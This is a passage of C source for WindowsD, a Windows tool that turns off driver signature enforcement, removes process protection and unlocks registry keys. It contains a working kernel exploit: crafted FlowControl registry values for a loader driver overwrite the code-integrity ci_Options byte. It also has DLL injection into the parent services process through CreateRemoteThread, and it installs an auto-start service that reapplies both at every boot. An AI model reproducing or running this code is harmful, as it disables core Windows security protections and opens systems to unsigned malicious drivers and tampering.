297 | ret = MoveFileEx(tmp, fullpath, MOVEFILE_DELAY_UNTIL_REBOOT|MOVEFILE_REPLACE_EXISTING);
298 | if (!ret) DeleteFile(tmp);
299 | }
300 | DBG("ret done %d",ret);
301 | out:;
302 | if (ebuf)
303 | free(ebuf);
304 | if (res < 0)
305 | free(buf);
306 | return ret;
307 | }
308 |
309 | static int install_files(WCHAR *svc, WCHAR *ldr)
310 | {
311 | WCHAR dllpath[PATH_MAX];
312 | WCHAR syspath[PATH_MAX];
313 | WCHAR ldrpath[PATH_MAX];
314 |
315 | if (!update_file(dllpath, L"\\" BASENAME ".exe", -1))
316 | return 0;
317 | if (!update_file(dllpath, L"\\" BASENAME ".dll", DLL_ID))
318 | return 0;
319 | if (!update_file(syspath, L"\\drivers\\" BASENAME ".sys", SYS_ID))
320 | return 0;
321 | if (!update_file(ldrpath, L"\\drivers\\" BASENAME "loader.sys", LOADER_ID))
322 | return 0;
323 |
324 | if (!create_service(svc, NULL, syspath))
325 | return 0;
326 | if (!create_service(ldr, NULL, ldrpath))
327 | return 0;
328 |
329 | return 1;
330 | }
331 |
332 | static HANDLE trigger_loader(WCHAR *svc, WCHAR *ldr, int boot)
333 | {
334 | wind_config_t cfg = {.bootreg=boot};
335 | NTSTATUS status;
336 | UNICODE_STRING svcu, ldru;
337 | HANDLE dev = NULL;
338 | void *mod = get_mod_info();
339 | ULONG_PTR key = ci_analyze(mod, &cfg);
340 |
341 | #ifdef _WIN64
342 | struct {
343 | UINT64 pad;
344 | RTL_QUERY_REGISTRY_TABLE tab[4] ;
345 | } buffer = { .tab = {
346 | {}, {},
347 | { // save original ci_Options byte to cisave
348 | .Flags = 32, // DIRECT
349 | .Name = (void*)key, // valid string, but non-existent key
350 | .EntryContext = (void*)cfg.ci_orig, // destination
351 | .DefaultType = REG_DWORD,
352 | .DefaultData = (void*)cfg.ci_opt, // source
353 | .DefaultLength = 1 // save 1 byte
354 | },
355 | { // overwrite ci_Options byte with 0
356 | .Flags = 32, // DIRECT
357 | .Name = (void*)key, // valid string, but non-existent key
358 | .EntryContext = (void*)cfg.ci_opt, // data to overwrite
359 | .DefaultType = REG_DWORD,
360 | .DefaultData = (void*)key + 2, // source - 4 zeros
361 | .DefaultLength = 1 // overwrite 1 byte
362 | }
363 | }};
364 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_SZ, L"x", 4);
365 | #else
366 | DWORD zero = 0;
367 | // smash 4 stack DWORD entries
368 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisable", REG_MULTI_SZ, L"x\0x\0", 10);
369 | // target addr
370 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_DWORD, &cfg.ci_opt, 4);
371 | // and write 0 byte there
372 | RtlWriteRegistryValue(0, ldr, L"FlowControlChannelBandwidth", REG_SZ, &zero, 1);
373 | #endif
374 | if (!key)
375 | goto out;
376 |
377 | DBG("preparing cfg for driver with:\n"
378 | " .ci_opt = %p\n"
379 | " .ci_orig = %p\n"
380 | " .ci_guess = %02x\n"
381 | , cfg.ci_opt, cfg.ci_orig, cfg.ci_guess);
382 |
383 | RtlWriteRegistryValue(0, svc, L"cfg", REG_BINARY, &cfg, sizeof(cfg));
384 |
385 | RtlInitUnicodeString(&svcu, svc);
386 | RtlInitUnicodeString(&ldru, ldr);
387 |
388 | for (int retry = 0; 1; retry++) {
389 | // try to load our driver if loader suceeded
390 | status = NtLoadDriver(&svcu);
391 | (void)status;
392 | DBG("NtLoadDriver(%S) = %08x", svcu.Buffer, (unsigned)status);
393 | dev = wind_open();
394 | DBG("devopen=%p",dev);
395 | // remove loader, if still there
396 | status = NtUnloadDriver(&ldru);
397 | DBG("NtUnloadDriver(%S) = %08x", ldru.Buffer, (unsigned)status);
398 | // exit if we're in
399 | if (dev)
400 | break;
401 | if (retry == 2)
402 | break;
403 | #ifdef _WIN64
404 | // first attempt - positive REG_BINARY length
405 | if (!retry) {
406 | DBG("REG_BINARY positive");
407 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth", REG_BINARY,
408 | ((void*)buffer.tab)+4, sizeof(buffer.tab)-4);
409 | } else {
410 | DBG("REG_BINARY negative");
411 | RtlWriteRegistryValue(0, ldr, L"FlowControlDisplayBandwidth",REG_BINARY,
412 | ((void*)buffer.tab)-4, sizeof(buffer.tab)+4);
413 | }
414 | #endif
415 | // request loader driver again
416 | status = NtLoadDriver(&ldru);
417 | DBG("NtLoadDriver(%S) = %08x", ldru.Buffer, (unsigned)status);
418 | }
419 | out:;
420 | free(mod);
421 | return dev;
422 | }
423 |
424 | static HANDLE check_driver(int force, int boot)
425 | {
426 | HANDLE dev;
427 | dev = wind_open();
428 | if (!dev || force) {
429 | HANDLE hmutex;
430 | WCHAR svc[PATH_MAX], ldr[PATH_MAX];
431 |
432 | hmutex = CreateMutex(NULL, 0, L"mutex"BASENAME);
433 | WaitForSingleObject(hmutex,INFINITE);
434 |
435 | if (install_files(svc, ldr))
436 | dev = trigger_loader(svc, ldr, boot);
437 |
438 | ReleaseMutex(hmutex);
439 | CloseHandle(hmutex);
440 | }
441 | return dev;
442 | }
443 |
444 | static int elevate()
445 | {
446 | BOOLEAN old;
447 | if (!NT_SUCCESS(RtlAdjustPrivilege(ID_SeLoadDriverPrivilege, 1, 0, &old))) {
448 | printf("You need to run this command as an Administrator.\n");
449 | return 0;
450 | }
451 | return 1;
452 | }
453 |
454 | static int unprotect(WCHAR *p)
455 | {
456 | NTSTATUS st;
457 | HANDLE dev;
458 | wind_prot_t prot = {0};
459 | if (!elevate())
460 | return 0;
461 | WSKIP(p);
462 | prot.pid = _wtoi(p);
463 | dev = check_driver(0,0);
464 | if (!dev) {
465 | printf("Failed to open/install WinD device.\n");
466 | return 0;
467 | }
468 | st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
469 | wind_close(dev);
470 | if (!NT_SUCCESS(st)) {
471 | printf("Failed to de-protect %d, status %08x\n",
472 | (int)prot.pid, (int)st);
473 | return 0;
474 | }
475 | printf("%d is now de-protected.\n",(int)prot.pid);
476 | return 1;
477 | }
478 |
479 | static int load_driver(WCHAR *name)
480 | {
481 | WCHAR svc[PATH_MAX];
482 | NTSTATUS status;
483 | HANDLE dev;
484 | int ret = 0;
485 |
486 | if (!elevate())
487 | return 0;
488 |
489 | dev = check_driver(0,0);
490 | if (!name) {
491 | ret = !!dev;
492 | goto outclose;
493 | }
494 |
495 | if (!dev) {
496 | printf("Control driver failed to load. Use debug binary for details.\n");
497 | goto outclose;
498 | }
499 |
500 | WSKIP(name);
501 |
502 | if (!*name) {
503 | ret = 1;
504 | printf("Control driver loaded.\n");
505 | goto outclose;
506 | }
507 |
508 | // create service?
509 | for (int i = 0; name[i]; i++) {
510 | if (name[i] == L'.') {
511 | WCHAR fullpath[PATH_MAX];
512 | GetFullPathName(name, PATH_MAX, fullpath, NULL);
513 | if (!create_service(svc, NULL, fullpath)) {
514 | printf("Failed to create service for file %S", fullpath);
515 | goto outclose;
516 | }
517 | goto havesvc;
518 | }
519 | }
520 | wcscpy(svc, SVC_BASE);
521 | wcscat(svc, name);
522 | havesvc:;
523 | status = wind_ioctl_string(dev, WIND_IOCTL_INSMOD, svc);
524 | if (!NT_SUCCESS(status)) {
525 | if (status == STATUS_IMAGE_ALREADY_LOADED) {
526 | UNICODE_STRING us;
527 | RtlInitUnicodeString(&us, svc);
528 | status = NtUnloadDriver(&us);
529 | if (!NT_SUCCESS(status)) {
530 | printf("Unload failed %08x\n", (int)status);
531 | }
532 | status = wind_ioctl_string(dev, WIND_IOCTL_INSMOD, svc);
533 | }
534 | if (NT_SUCCESS(status)) {
535 | printf("%S re-loaded.\n", name);
536 | goto outok;
537 | }
538 | printf("Failed to load %S NTSTATUS=%08x", name, (int)status);
539 | goto outclose;
540 | }
541 | printf("%S loaded.", name);
542 | outok:
543 | ret = 1;
544 | outclose:;
545 | wind_close(dev);
546 | return ret;
547 | }
548 |
549 | static int restore_point(char *name)
550 | {
551 | SHELLEXECUTEINFOA shexec = {
552 | .cbSize = sizeof(shexec),
553 | .fMask = SEE_MASK_NOCLOSEPROCESS,
554 | .lpVerb = "open",
555 | .lpFile = FILE_VBS,
556 | .lpParameters = "",
557 | };
558 | HMODULE lib = LoadLibraryA("SHELL32");
559 | BOOL (WINAPI *sh)(VOID*) = (void*)GetProcAddress(lib, "ShellExecuteExA");
560 | DWORD ecode = 1;
561 | FILE *f;
562 | // we can be called before desktop is available, user32.dll could fail
563 | if (!sh)
564 | return 0;
565 | f = fopen(FILE_VBS, "w+");
566 | fprintf(f, RESTORE_VBS, name);
567 | fclose(f);
568 | if (!sh(&shexec))
569 | return 0;
570 | printf("Creating restore point..."); fflush(stdout);
571 | WaitForSingleObject(shexec.hProcess,INFINITE);
572 | GetExitCodeProcess(shexec.hProcess, &ecode);
573 | DeleteFileA(FILE_VBS);
574 | return ecode == 123;
575 | }
576 |
577 | static int do_install()
578 | {
579 | WCHAR path[PATH_MAX];
580 | SC_HANDLE h, scm;
581 | int ret = 0;
582 | NTSTATUS st;
583 |
584 | DBG("doing install");
585 |
586 | if (!elevate())
587 | return 0;
588 | st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME));
589 | (void)st;
590 | DBG("Unloading previous driver %x", (int)st);
591 |
592 | if (!check_driver(1,0)) {
593 | printf("Failed to initialize driver.\n");
594 | DBG("no driver, exiting");
595 | return 0;
596 | }
597 |
598 | scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
599 | if (!scm) {
600 | printf("Unable to initialize boot service.\n");
601 | return 0;
602 | }
603 | wcscpy(path + GetSystemDirectory(path, PATH_MAX), L"\\" BASENAME ".exe /X");
604 | DBG("injector=%S",path);
605 |
606 | h = CreateService(scm, L"" BASENAME"inject", L""BASENAME" injector service", SERVICE_ALL_ACCESS,
607 | SERVICE_WIN32_OWN_PROCESS,
608 | #ifdef NDEBUG
609 | SERVICE_AUTO_START,
610 | #else
611 | SERVICE_DEMAND_START,
612 | #endif
613 | SERVICE_ERROR_IGNORE,
614 | path, L"Base", NULL, NULL, NULL, NULL);
615 | if (!h && (GetLastError() == ERROR_SERVICE_EXISTS)) {
616 | DBG("svc already exists");
617 | h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS);
618 | }
619 | if (h) {
620 | ret = 1;
621 | DBG("attempting to start service");
622 | StartService(h, 0, NULL);
623 | } else {
624 | DBG("service open failed, %d", (int)GetLastError());
625 | }
626 | if (ret) {
627 | printf(BASENAME " installed successfuly.\n");
628 | } else {
629 | printf(BASENAME " installation failed. Use debug version to find out why.\n");
630 | }
631 | CloseServiceHandle(h);
632 | CloseServiceHandle(scm);
633 | return ret;
634 | }
635 |
636 | static int do_uninstall(int checkonly)
637 | {
638 | HANDLE h, scm;
639 | int ret = 0;
640 | if (!elevate() && !checkonly)
641 | return 0;
642 | scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
643 | if (!scm) return 0;
644 | h = OpenService(scm, L""BASENAME"inject", SERVICE_ALL_ACCESS);
645 | if (!h)
646 | goto out;
647 | if (checkonly)
648 | ret = 1;
649 | else {
650 | printf("Service deleted.\n");
651 | ret = DeleteService(h);
652 | }
653 | CloseServiceHandle(h);
654 | out:;
655 | CloseServiceHandle(scm);
656 | if (!checkonly) {
657 | NTSTATUS st = NtUnloadDriver(&RTL_STRING(SVC_BASE BASENAME));
658 | (void)st;
659 | DBG("Unloading previous driver %x", (int)st);
660 | if (ret) {
661 | printf(BASENAME " uninstalled.\n");
662 | } else {
663 | printf("Some errors during uninstallation (already uninstalled?)\n");
664 | }
665 | }
666 | return ret;
667 | }
668 |
669 | static int is_installed()
670 | {
671 | return do_uninstall(1);
672 | }
673 |
674 |
675 | static int yesno(char *q)
676 | {
677 | char c;
678 | do {
679 | printf(">> %s [y/n]", q);
680 | c = getchar();
681 | while (getchar() != '\n');
682 | } while (tolower(c) != 'y' && tolower(c) != 'n');
683 | return c == 'y';
684 | }
685 |
686 | static int interactive_install()
687 | {
688 | printf("We're going to patch deep into windows and something may go awry.\n"
689 | "The changes can be reversed by restoring registry (part of restore).\n"
690 | "Creating a backup you can boot into is STRONGLY advised.\n");
691 | if (!yesno("Create a system restore point?"))
692 | return 1;
693 | if (!restore_point("Before installing " BASENAME)) {
694 | printf("Restore point creation failed!\n"
695 | "Create restore point manualy NOW and then proceed!\n");
696 | return yesno("Do you want to proceed with installation?");
697 | } else printf("Done!\n");
698 | return 1;
699 | }
700 |
701 | static void enter()
702 | {
703 | while (getchar() != '\n') {};
704 | }
705 |
706 | static int usage(int interactive)
707 | {
708 | int doit, installed = is_installed();
709 |
710 | printf( "WindowsD "VERSTR" kat@lua.cz 2016\n\n");
711 |
712 | printf(
713 | "This program can manipulate various restrictions of Windows:\n"
714 | " * Driver signing ('DSE', which breaks freeware utilities like this one)\n"
715 | " * Process protection ('unkillable processes', WinTCB)\n"
716 | " * Most common methods of 'read only' registry locking\n"
717 | "\n"
718 | );
719 |
720 | if (!interactive) {
721 | printf("usage: \n"
722 | "\nDriver actions:\n"
723 | " "BASENAME " /I install, disable DSE permanently\n"
724 | " "BASENAME " /U uninstall, re-enable DSE permanently\n"
725 | " "BASENAME " /L [service|driver.sys] load, (or re-load, if present) a driver\n"
726 | "\nMisc actions:\n"
727 | " "BASENAME " /W run interactive installer\n"
728 | " "BASENAME " /D de-protect specified process ID\n"
729 | "\nRegistry actions:\n"
730 | " "BASENAME " /RD <\\Registry\\Path> R/O lock Disable\n"
731 | " "BASENAME " /RE <\\Registry\\Path> R/O lock Enable\n"
732 | " "BASENAME " /ND <\\Registry\\Path> Notify/refresh Disable\n"
733 | " "BASENAME " /NE <\\Registry\\Path> Notify/refresh re-Enable\n"
734 | " "BASENAME " /CD Disable global registry callbacks\n"
735 | " "BASENAME " /CE Re-enable global registry callbacks\n\n"
736 | " Note that Path has to be NT path, such as the following examples:\n"
737 | " \\Registry\\Machine\\System\\CurrentControlSet\\Control\\Services\n"
738 | " \\Registry\\User\\Environment\n"
739 | );
740 | goto out;
741 | }
742 |
743 | printf("Entering interactive mode (invoke " BASENAME " /? for cmd options)\n\n");
744 | if (installed) {
745 | printf("Detected running " BASENAME ".\n");
746 | doit = yesno("Do you wish to uninstall it?");
747 | } else {
748 | printf(BASENAME " is not installed. Unsigned drivers will not load at boot.\n");
749 | doit = yesno("Do you wish to install it system-wide?");
750 | }
751 |
752 | if (doit) {
753 | int ret;
754 | if (installed) {
755 | printf("Uninstalling...");
756 | ret = do_uninstall(0);
757 | } else {
758 | if (!interactive_install())
759 | goto cancel;
760 | printf("Installing...");
761 | ret = do_install();
762 | }
763 | printf("All done! Press enter to close...");
764 | enter();
765 | ExitProcess(ret);
766 | }
767 | cancel:;
768 | printf("Operation cancelled, press enter to close...");
769 | enter();
770 | out:;
771 | ExitProcess(1);
772 | }
773 |
774 | static void WINAPI service_ctl(DWORD code)
775 | {
776 | }
777 |
778 | static void inject_parent(int pid)
779 | {
780 | char path[PATH_MAX];
781 | HANDLE hthr, hp = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
782 | void *lla, *dst;
783 | DBG("opened pid=%d handle=%p err=%d",pid,hp,(int)GetLastError());
784 | dst = VirtualAllocEx(hp, NULL, 4096, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE);
785 |
786 | strcpy(path + GetSystemDirectoryA(path,PATH_MAX), "\\" BASENAME ".dll");
787 |
788 | DBG("injecting into parent pid=%d h=%p dst=%p path=%s",(int)pid,hp,dst,path);
789 |
790 | if (!WriteProcessMemory(hp, dst, path, strlen(path) + 1, NULL)) {
791 | DBG("writing memory failed %d", (int)GetLastError());
792 | goto out;
793 | }
794 |
795 | lla = GetProcAddress(GetModuleHandleA("KERNEL32.DLL"),"LoadLibraryA");
796 | if (!lla) {
797 | DBG("failed to get LoadLibraryA");
798 | goto out;
799 | }
800 | hthr = CreateRemoteThread(hp, NULL, 0, lla, dst, 0, NULL);
801 | WaitForSingleObject(hthr, INFINITE);
802 | CloseHandle(hthr);
803 | out:;
804 | CloseHandle(hp);
805 | }
806 |
807 | static void fix_boot_drivers()
808 | {
809 | SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
810 | DWORD nserv, sz = 0;
811 | ENUM_SERVICE_STATUS_PROCESS *buf;
812 | QUERY_SERVICE_CONFIG *cfg = NULL;
813 | DWORD cfgsz = 0;
814 |
815 | if (!scm) return;
816 |
817 | EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER,
818 | SERVICE_INACTIVE, NULL, 0, &sz,
819 | &nserv, NULL, NULL);
820 |
821 | if (!sz) goto outclose;
822 | buf = malloc(sz);
823 |
824 | if (!EnumServicesStatusEx(scm, SC_ENUM_PROCESS_INFO, SERVICE_DRIVER,
825 | SERVICE_INACTIVE, (void*)buf, sz, &sz,
826 | &nserv, NULL, NULL))
827 | goto outfree;
828 |
829 | DBG("got %d services", (int)nserv);
830 | for (int i = 0; i < nserv; i++) {
831 | SERVICE_STATUS_PROCESS *stat = &buf[i].ServiceStatusProcess;
832 | SC_HANDLE sc;
833 | if (stat->dwServiceType > 3) continue;
834 | sc = OpenService(scm, buf[i].lpServiceName, SERVICE_ALL_ACCESS);
835 | retry:;
836 | if (!QueryServiceConfig(sc, cfg, cfgsz, &cfgsz)) {
837 | if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
838 | cfg = realloc(cfg, cfgsz);
839 | goto retry;
840 | }
841 | CloseServiceHandle(sc);
842 | continue;
843 | }
844 | if (cfg->dwStartType > 1) {
845 | CloseServiceHandle(sc);
846 | continue;
847 | }
848 | DBG("found stale boot service %S, starting",buf[i].lpServiceName);
849 | StartService(sc, 0, NULL);
850 | CloseServiceHandle(sc);
851 | }
852 | free(cfg);
853 | outfree:;
854 | free(buf);
855 | outclose:;
856 | CloseServiceHandle(scm);
857 | }
858 |
859 | static void WINAPI service_main(DWORD argc, WCHAR **argv)
860 | {
861 | SERVICE_STATUS_HANDLE svc = RegisterServiceCtrlHandler(L""BASENAME, service_ctl);
862 | SERVICE_STATUS st = {
863 | .dwServiceType = SERVICE_WIN32_OWN_PROCESS,
864 | .dwCurrentState = SERVICE_START_PENDING
865 | };
866 | SetServiceStatus(svc, &st);
867 |
868 | st.dwCheckPoint++;
869 | st.dwCurrentState = SERVICE_STOPPED;
870 | st.dwWin32ExitCode = 0;
871 | SetServiceStatus(svc, &st);
872 | }
873 |
874 | static int run_service()
875 | {
876 | SERVICE_TABLE_ENTRY s_table[] = {
877 | {L""BASENAME"inject", service_main},
878 | {NULL, NULL}
879 | };
880 | ULONG_PTR pbi[6];
881 | ULONG uls;
882 | HANDLE dev;
883 | int pid;
884 | wind_prot_t prot = {0};
885 | NTSTATUS st;
886 |
887 | DBG("service launched");
888 |
889 | StartServiceCtrlDispatcher(s_table);
890 |
891 | // If we're in safe mode, do nothing.
892 | if (GetSystemMetrics(SM_CLEANBOOT))
893 | return 1;
894 |
895 | elevate();
896 |
897 | if (!NT_SUCCESS(NtQueryInformationProcess(GetCurrentProcess(), 0, &pbi, sizeof(pbi), &uls)))
898 | return 0;
899 |
900 | pid = pbi[5];
901 | prot.pid = pid;
902 | DBG("got parent pid=%d",pid);
903 | dev = check_driver(0,1);
904 | if (!dev) {
905 | DBG("no driver, bye");
906 | return 0;
907 | }
908 |
909 | st = wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
910 | if (!NT_SUCCESS(st)) {
911 | DBG("failed to unprotect services %08x", (int)st);
912 | wind_close(dev);
913 | return 0;
914 | }
915 |
916 | inject_parent(pid);
917 |
918 | wind_ioctl(dev, WIND_IOCTL_PROT, &prot, sizeof(prot));
919 | wind_close(dev);
920 |
921 | fix_boot_drivers();
922 |
923 | return 1;
924 | }
925 |
926 | static int regunlock(int mcmd, WCHAR *p)
927 | {
928 | HANDLE dev;
929 | NTSTATUS status;
930 | int cmd = toupper(*p++);
931 | if ((!cmd) || ((cmd != 'E') && (cmd != 'D')))
932 | usage(0);
933 | WSKIP(p);
934 | dev = check_driver(0,0);
935 | if (!dev) {
936 | printf("Failed to open/install WinD device.\n");
937 | return 0;
938 | }
939 | if (mcmd == 'C') {
940 | printf("%sbling global registry callbacks...", cmd=='E'?"Ena":"Disa");
941 | status = wind_ioctl(dev, WIND_IOCTL_REGCBOFF+((cmd=='E')<<2), NULL, 0);
942 | } else if (cmd == 'D') {
943 | printf("Unlocking %S...", p);
944 | status = wind_ioctl_string(dev,
945 | mcmd=='N'
946 | ?WIND_IOCTL_REGNOFF
947 | :WIND_IOCTL_REGLOCKOFF, p);
948 | } else {
949 | printf("Locking %S...", p);
950 | status = wind_ioctl_string(dev,
951 | mcmd=='N'
952 | ?WIND_IOCTL_REGNON
953 | :WIND_IOCTL_REGLOCKON, p);
954 | }
955 | if (NT_SUCCESS(status))
956 | printf("OK\n");
957 | else
958 | printf("error %08x\n", (int)status);
959 | wind_close(dev);
960 | return NT_SUCCESS(status);
961 | }
962 |
963 | void ENTRY(win_main)()
964 | {
965 | int cc, ret = 0;
966 | CONSOLE_SCREEN_BUFFER_INFO csbi;
967 | int explorer = GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT_HANDLE), &csbi)
968 | && !(csbi.dwCursorPosition.X|csbi.dwCursorPosition.Y);
969 |
970 | WCHAR *cmd = GetCommandLine();
971 | int quot = *cmd++ == L'"';
972 | while (*cmd && (quot || (cmd[0]>L' ')))
973 | if (*cmd++ == L'"')
974 | quot ^= 1;
975 | while (*cmd && *cmd<= L' ')
976 | cmd++;
977 |
978 | if ((*cmd != L'/') && (*cmd != L'-'))
979 | usage(explorer);
980 | cmd += 2;
981 |
982 | cc = toupper(cmd[-1]);
983 | switch (cc) {
984 | case 'I':
985 | ret = !!do_install();
986 | break;
987 | case 'U':
988 | ret = !!do_uninstall(0);
989 | break;
990 | case 'W':
991 | usage(1);
992 | break;
993 | case 'L':
994 | ret = !!load_driver(cmd);
995 | break;
996 | case 'X':
997 | ret = !!run_service();
998 | break;
999 | case 'D':
1000 | ret = !!unprotect(cmd);
1001 | break;
1002 | case 'R':
1003 | case 'N':
1004 | case 'C':
1005 | ret = !!regunlock(cc, cmd);
1006 | break;
1007 | default:
1008 | usage(0);
1009 | }
1010 |
1011 | if (explorer) {
1012 | printf("Press enter...");
1013 | enter();
1014 | }
1015 | ExitProcess(ret);
1016 | }
1017 |
1018 |
--------------------------------------------------------------------------------